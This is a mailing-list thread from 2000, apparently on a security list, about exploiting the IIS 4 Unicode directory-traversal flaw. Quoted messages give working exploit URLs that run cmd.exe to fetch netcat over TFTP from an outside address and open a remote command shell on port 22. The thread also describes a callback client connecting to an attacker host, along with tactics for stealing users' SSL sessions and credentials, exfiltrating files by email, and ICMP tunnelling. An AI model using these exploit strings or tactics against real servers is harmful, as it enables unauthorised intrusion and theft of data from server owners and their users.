Re: dos commands via iis 4 (TFTP)-NETBIOS

[booboo <booboo () 65535 COM>]

Since you already have more or less root level access on the web server
and since you have already copied cmd.exe to the wwwroot\msadc or \scripts
dir.. use echo with redirects to pipe(&APPEND) 256 bytes at a time of
nc.exe to a file in c:\temp... it would take much longer but it does not
rely on outward bound dataflows being allowed or having to stop and start
servers on ports that you need. If the Firewall is configured correctly
then you are not really gaining much by getting NC.exe on the server
anyway. Instead why not use this exploit to run netstat and use the
results for TCP prediction attacks. Or re-direct the focus of the attack
to the source of connections to the web server which is likely to be
easier.. i.e. get authentication credentials from the source or take over
the connection with the current SSL session string from the users
temporary internet files. By the By the port I would go for is 25 since
many sites will e-mail request confirmations to their customers... thus
you could try creating a user account with added exchange profile and get
the file to your account that way.

The question I guess is why put nc.exe up there at all. It is not very
inconspicous and it is not going to gain you much more of a foothold than
you already have. Surely it would be better to enumerate the internal
network to find the host or hosts that contain the sensitive info.

Why not try to traceroute or ping out from the web server. If ICMP is
allowed out why not try to get one of those ICMP tunnel clients up
there and do a reverse tunnel? Less conspicuos Non?!

Still no luck with the '=' sign.

Cheers,BooBoo.


On Wed, 15 Nov 2000, MadHat wrote:

> "Bluefish (P.Magnusson)" wrote:
> > > http://.../scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp+-i+<IPADDR>+get+nc.exe+c:\inetpub\scripts\nc.exe
> > > http://.../scripts/..%c0%af../winnt/system32/cmd.exe?/c+c:\inetpub\scripts\nc.exe+-l+-p+22+-t+-e+cmd.exe
> > > So after this, there is a port open (22 in this case as many admins will
> > > leave this open for SSH, but this is an NT box, which as we know rarely
> > > has SSH running on it) that I can telnet to and have a command prompt.
> >
> > An more reliable attack though, would be to download and execute a client
> > which connects to www.attacker.com:80, only port 80 won't be running a
> > webserver but a server for the client.
> >
> > That way it will overcome more firewalls; only an application level
> > firewall or a closed DMZ would cause problems, where as the attack you
> > describe rely on some server port not being firewalled.
>
> right, but this is all about misconfiguration.  If nothing is
> misconfigured, and all patches are up to date, then you don't even get
> this far.  The point was that once nc.exe is on the box, you can pick
> and choose the port(s) you want to bind to depending on the situation
> and the ACLs or firewall rules.  I chose 22 because it is often open for
> ssh, as I mentioned, but I could have chosen 25 is there wasn't an SMTP
> server,  but that was not left open in the case I was testing.  This is
> just one part of the overall penetration, you would have to know more
> info about the target before you can choose how to continue and what
> will be best for any particular situation.  I personally like netcat, so
> I chose that tool.  It is all personal preference, what you know and
> what you feel comfortable using.  There is no "final answer" here.
>
> --
> MadHat at unspecific.com
>                                    "The 3 great virtues of a programmer:
>                                       Laziness, Impatience, and Hubris."
>                                                  --Larry Wall